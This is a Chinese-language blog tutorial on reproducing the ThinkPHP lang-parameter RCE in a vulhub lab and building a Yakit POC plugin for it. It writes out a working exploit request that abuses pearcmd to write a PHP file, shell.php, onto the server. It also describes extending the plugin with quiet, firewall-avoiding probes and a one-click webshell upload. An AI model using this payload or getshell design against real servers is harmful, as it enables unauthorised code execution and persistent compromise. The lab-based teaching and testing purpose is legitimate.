前言
最近因项目接触到了 yakit
,简单学习和编写一下漏洞POC。整体体的体验感和 burp
略微有点差距,但是有些功能比 burp
使用起来更加的舒服。
漏洞环境
漏洞环境使用 vulhub
直接搭建
1 | git clone https://github.com/vulhub/vulhub |
环境启动后,访问http://your-ip:8080
即可查看到 ThinkPHP
默认的欢迎页面。
漏洞复现
1 | GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1 |
如果服务器返回 pearcmd
的命令行执行结果,说明漏洞利用成功,然后在根目录中生成 shell.php
文件
yakit 插件编写
漏洞复现很简单,复现完成后,就可以上手写插件,会先完整给出代码文件
1 | // 设置日志 |
这个就是最简单的插件编写
sendPacket1
因为要编写的是 POC
文件,最小化不惊动防火墙来探测漏洞是关键,所以这里编写的第一个请求包内容
1 | // poc发包1 |
随机生成一个字符串 rdmd5
写入 1.txt
文件中,然后通过访问 1.txt
来确认文件是否写入
sendPacket2
1 | // poc 发包2 |
rdmd5
1 | // poc 生成随机字符 |
其中 str.RandStr(20)
为生成一个20位长度的随机字符串,然后通过 codec.Md5()
进行 MD5
加密
验证
1 | // 发送 poc 验证 |
str.SplitHTTPHeadersAndBodyFromPacket()
拆分 sendPacket2
,我们在 body
中完全匹配 rdmd5
,如果存在则证明漏洞存在,这时就可以尝试再写入一句话马或者是免杀马
优化
上述代码可以说是从官网文档中各种复制粘贴的内容,没有一点的含金量,各位只需要粘贴复制也能在短时间内打造出一样的,甚至是更加美观的验证文件。
优化1: 漏洞验证是否存在
在仔细阅读 thinkphp_lang-rce 漏洞分析的文章时,其实在正确的第一步应该是验证是否有开启多语言特性
我们假定服务器条件已满足,首先我们要加入探测 ?lang=../../../../../public/index
访问状态码是否为 500
。这里我们要先判断状态码,然后再去执行后续的POC探测。先组包,可直接使用默认的数据包。
1 | // 验证多语言特性文件包含是否存在 |
判断状态码,这里需要先把一个数据包转变成可用的 HTTP Response
对象,使用 poc.ParseBytesToHTTPResponse()
,然后就可以使用 StatusCode
来获取状态码信息
1 | // 判断多语言特性 |
思考:如果状态码不是 500 还需要跑完整个 POC 吗?
优化2: 美化页面输出
在原始页面中,我们只是通过 Console
中的内容来查看扫描进度,这里浪费了 基础插件扫描/日志
部分的内容展示,所以我们给他增加交互式输出内容
1 | // 启用 yakit 通信模块 |
除此之外,加上进度条
1 | yakit.SetProgress(0.5) |
通过不同的数值来区分当前进度内容
优化3: 增加写入一句话木马
提供 一键getshell
功能,直接生成默认的一句话木马,文件名可直接使用POC中给出的随机值 rdmd5
优化4: 指纹识别
判断当前站点是否为 thinkphp